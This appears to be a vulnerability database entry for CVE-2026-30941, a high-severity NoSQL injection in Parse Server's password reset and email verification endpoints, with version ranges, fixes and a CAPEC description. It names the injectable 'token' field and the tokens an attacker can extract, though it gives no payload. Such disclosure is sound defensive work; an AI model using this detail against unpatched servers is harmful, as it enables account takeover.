The vulnerability is fixed by adding input type validation at the endpoint level.
Workarounds
There is no known workaround.
References
- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-vgjh-hmwf-c588
- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.2-alpha.1
- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.14
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.5.2-alpha.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "parse-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.6.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30941"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-11T00:16:26Z",
"nvd_published_at": "2026-03-10T18:18:53Z",
"severity": "HIGH"
},
"details": "### Impact\n\nA NoSQL injection vulnerability allows an unauthenticated attacker to inject MongoDB query operators via the `token` field in the password reset and email verification resend endpoints. The `token` value is passed to database queries without type validation and can be used to extract password reset and email verification tokens.\n\nAny Parse Server deployment using MongoDB with email verification or password reset enabled is affected. When `emailVerifyTokenReuseIfValid` is configured, the email verification token can be fully extracted and used to verify a user\u0027s email address without inbox access.\n\n### Patches\n\n### Patches\n\nThe vulnerability is fixed by adding input type validation at the endpoint level.\n\n### Workarounds\n\nThere is no known workaround.\n\n### References\n\n- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-vgjh-hmwf-c588\n- Fix Parse Server 9: https://github.com/parse-community/parse-server/releases/tag/9.5.2-alpha.1\n- Fix Parse Server 8: https://github.com/parse-community/parse-server/releases/tag/8.6.14",
"id": "GHSA-vgjh-hmwf-c588",
"modified": "2026-03-11T00:16:26Z",
"published": "2026-03-11T00:16:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/security/advisories/GHSA-vgjh-hmwf-c588"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30941"
},
{
"type": "PACKAGE",
"url": "https://github.com/parse-community/parse-server"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/releases/tag/8.6.14"
},
{
"type": "WEB",
"url": "https://github.com/parse-community/parse-server/releases/tag/9.5.2-alpha.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Parse Server has a NoSQL injection via token type in password reset and email verification endpoints"
}
No mitigation information available for this CWE.
CAPEC-676: NoSQL Injection
An adversary targets software that constructs NoSQL statements based on user input or with parameters vulnerable to operator replacement in order to achieve a variety of technical impacts such as escalating privileges, bypassing authentication, and/or executing code.